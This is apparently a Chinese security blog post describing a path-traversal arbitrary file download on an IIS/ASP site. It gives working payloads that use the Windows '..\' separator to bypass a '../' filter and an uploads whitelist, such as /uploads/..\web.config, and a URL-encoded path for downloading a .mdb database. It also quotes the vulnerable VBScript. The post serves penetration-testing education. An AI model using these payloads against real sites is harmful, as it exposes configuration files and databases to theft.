标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2021-2796]   作者: shanyuhe 发表于: [2020-12-11]

本文共 [32] 位读者顶过

看到个url于是就有了新的故事

[出自:jiwo.org]

漏洞思路1:

先访问下载的文件url是否在网站目录如是可尝试使用iis默认配置的web.config作为尝试

/get/?d=now&f=/web.config



这里尝试了一下是不是必须得upload/down/目录下面的文件才能下载


漏洞思路2:

看到报错是:文件不存在,那说明可以下载/uploads/目录下的文件,和下载文件出错的报错不一样于是就尝试绕过,绕过思路利用跨目录../



漏洞思路3:

好家伙,这是第三个报错了:下载文件路径出错

利用windows特性 支持..\来跨越目录

时长10年划水经验的我,这是../的原因,实践出真相。

 

绕过方法如下

 

过滤../

白名单upload

利用: windows特性支持 ..\来跨越目录

https://www.xxxx.com/get/?d=now&f=/uploads/..\web.config



打开配置文件


下载数据库发现报错


进行url编码绕过

/data/%23%25%32%61ba76f16b10966d9219b4c972881e89.mdb



下载代码回来看黑盒测试的原理



代码:

If instr(request.ServerVariables("HTTP_REFERER"),request.ServerVariables("HTTP_HOST"))>0 or instr(FileUrl,"/uploads/")=1 Then
IF FileUrl="" Then
Response.Write("没有文件下载")
Response.End
Else
if instr(FileUrl,"./")>1 Then
Response.Write("下载文件路径出错")
Response.End
Else
call downloadFile( FileUrl ,request.QueryString("t"))
end if
End If
Else
Response.Write("下载文件出错")
Response.End
End If
Response.End


白盒代码可以看到,对uploads目录做了白名单

If instr(request.ServerVariables("HTTP_REFERER"),request.ServerVariables("HTTP_HOST"))>0 or instr(FileUrl,"/uploads/")=1 Then
 

这里绕过思路使用../来绕过

if instr(FileUrl,"./")>1 Then
Response.Write("下载文件路径出错")
Response.End

然后发现过滤了./。使用windows特性支持..\来跨目录下载

最终白盒exp:  /uploads/..\web.config



评论

暂无
发表评论
 返回顶部 
热度(32)
 关注微信